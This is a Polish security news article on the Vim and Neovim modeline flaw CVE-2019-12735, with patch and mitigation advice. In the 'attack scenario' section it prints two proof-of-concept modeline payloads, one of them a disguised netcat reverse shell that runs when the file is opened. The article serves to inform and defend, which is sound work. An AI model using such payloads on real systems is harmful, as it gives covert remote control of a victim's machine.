Menu dostępności

Linux zhackowany przez otwarcie pliku w edytorze Vim lub Neovim!

Od jakiegoś czasu zaobserwowaliśmy trend w szukaniu „dziur” w prostych aplikacjach wbudowanych w system operacyjny. Nie tak dawno, bo w zeszłym tygodniu pisaliśmy o odkrytej podatności w aplikacji Notatnik w Windows umożliwiającej wykonanie zewnętrznego kodu (np. uruchomienie cmd.exe). Dzisiaj mamy dla Was nową ciekawą podatność związaną również z edytorem tekstowym, ale tym razem na Linux.


Użytkownicy Linuksa, strzeżcie się!

Jeśli nie zaktualizowaliście ostatnio swojego systemu operacyjnego Linux, zwłaszcza narzędzia Vim i NoeVim do edycji tekstu dostępnych z wiersza poleceń lub nie wyłączyliście w nich odpowiedniej funkcji, nie próbujcie nawet przeglądać zawartości plików za pomocą tych aplikacji! Można przejąć zdalną kontrolę nad Linux!

Z podatnościami związanymi z edytorem Vim mieliśmy do czynienia już dużo wcześniej. Niedawno kolejną odkrył researcher bezpieczeństwa Armin Razmjou. Tym razem luka polega na wykonywaniu dowolnych poleceń systemu operacyjnego o wysokim stopniu złośliwości (CVE-2019-12735) w aplikacji Vim oraz NeoVim – czyli w dwóch najbardziej popularnych aplikacjach do edycji tekstu dostępnych z wiersza poleceń (konsoli tekstowej), które są fabrycznie zainstalowane w większości systemów operacyjnych opartych na systemie Linux. W systemach Linux edytor Vim umożliwia użytkownikom tworzenie, przeglądanie lub edytowanie dowolnego pliku, w tym tekstu, skryptów programistycznych i dokumentów. Neovim jest rozszerzoną wersją Vima z bardziej wzbogaconymi funkcjami dla użytkowników, wtyczkami i GUI. W niej również występuje luka polegająca na możliwości wykonania złośliwego kodu.


Błąd wykonania kodu w Vimie i Neovimie

Razmjou odkrył lukę w sposobie, w jaki edytor Vim obsługuje „modeline” czyli funkcję, która służy do automatycznego wyszukiwania i pozwala określić niestandardowe opcje edytora na początku lub końcu pliku. Funkcja ta jest domyślnie włączona i stosowana do wszystkich typów plików, w tym zwykłych plików *.txt. Na przykład, jeśli umieścimy następujące polecenie w ostatnim wierszu programu w języku C to podczas edycji tego pliku otrzymamy szerokość tekstu wynoszącą 60 znaków:

/* vim: tw=60 ts=2: */

Zmienna modeline ustawia także liczbę linii (na początku i na końcu każdego pliku), które vim sprawdza w momencie inicjalizacji pliku.

Standardowo, jeśli plik zawiera niebezpieczne wyrażenie system Linux ze względów bezpieczeństwa używa do ochrony wbudowanej piaskownicy i zezwala tylko na wywołanie podzbioru funkcji dostępnych w modelinę. Razmjou ujawnił możliwość ominięcia zabezpieczeń (piaskownicy) w momencie, gdy użyje się polecenia „:source!” (z modyfikatorem na końcu w postaci wykrzyknika [!]).


Scenariusz ataku z wykorzystaniem modeline

Poniżej przedstawiono dwa przykłady (wywołania modeline):

1. Pierwszy przykład umożliwia uruchomienie polecenia „uname – a” z poziomu pliku tekstowego otwieranego w vim na systemie Linux: :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(„source\!\ \%”):fdl=0:fdt=

2. Drugi przykład pokazuje powagę zagrożenia i pozwala na wykonanie polecenia netcat i połączenia się ze zdalnym komputerem używając powłoki reverse shell \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 9999 -e /bin/sh &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n

Poniżej prezentujemy demo do opisanego scenariusza:

Potencjalne zagrożenie polega na otwarciu niewinnie wyglądającego specjalnie spreparowanego pliku przy użyciu Vima lub Neovima i może pozwolić atakującemu na potajemne wykonywanie poleceń w systemie Linux i przejęcie nad nim zdalnego sterowania!


Jak sobie radzić z problemem?

Przede wszystkim pobrać dostępne już łatki na aplikację Vim oraz Neovim:

  • Vim patch 8.1.1365
  • Neovim patch (released in v0.3.6)

Oprócz łatek na aplikacje zalecane jest:

  • wyłączenie funkcji modelines w edytorze Vim (opcja set nomodeline)
  • wyłączenie możliwości użycia wyrażeń w modelines dla modelineexpr
  • użycie wtyczki securemodelines.

W celu sprawdzenia czy masz wyłączoną funkcję modeline uruchom w Vim polecenie: :set modeline? Jeśli aplikacja Vim zwróci nomodeline to nie jest podatna na opisywane wyżej zagrożenie.

Popularne

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

Entra Connect może przestać synchronizować konta. Co trzeba zrobić przed 30 września 2026 roku?

O planowanym przechodzeniu z Microsoft Entra Connect Sync do Cloud Sync pisaliśmy już w artykule „Entra Connect Sync odchodzi w cień”. Istnieje jednak jeszcze inny termin, którego nie mogą przeoczyć organizac...
Jak wyglądają ataki brute force na hasła w 2026 roku

Jak wyglądają ataki brute force na hasła w 2026 roku

Jeszcze kilka lat temu wydawało się, że klasyczne ataki brute force powoli odchodzą do historii. Coraz więcej usług korzysta z MFA, mechanizmów blokowania kont, CAPTCHA czy ograniczania liczby prób l...
AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

AI pomaga stworzyć exploit dla jądra Linuksa. CVE-2026-53264 umożliwia przejęcie uprawnień root

Sztuczna inteligencja coraz śmielej wspiera specjalistów ds. bezpieczeństwa – nie tylko podczas analizy kodu, ale również przy opracowywaniu działających exploitów. Najnowszym przykładem jest podatność...
Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

Agent OpenAI miał rozwiązać benchmark – zamiast tego zaatakował infrastrukturę Hugging Face

OpenAI oraz Hugging Face ujawniły szczegóły incydentu, do którego doszło podczas wewnętrznych testów modeli AI w benchmarku ExploitGym. W trakcie ewaluacji agent wydostał się z izolowanego środowiska testowego...
Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

Jak zhakowane publiczne bramki Wi-Fi używane są do pozyskiwania poświadczeń korporacyjnych?

SecurityWeek za ReliaQuest informuje, że cyberprzestępcy przeprowadzają ataki na urządzenia obsługujące publiczne sieci Wi-Fi z tzw. captive portal (stroną logowania), by przejmować konta Microsoft 365 pod...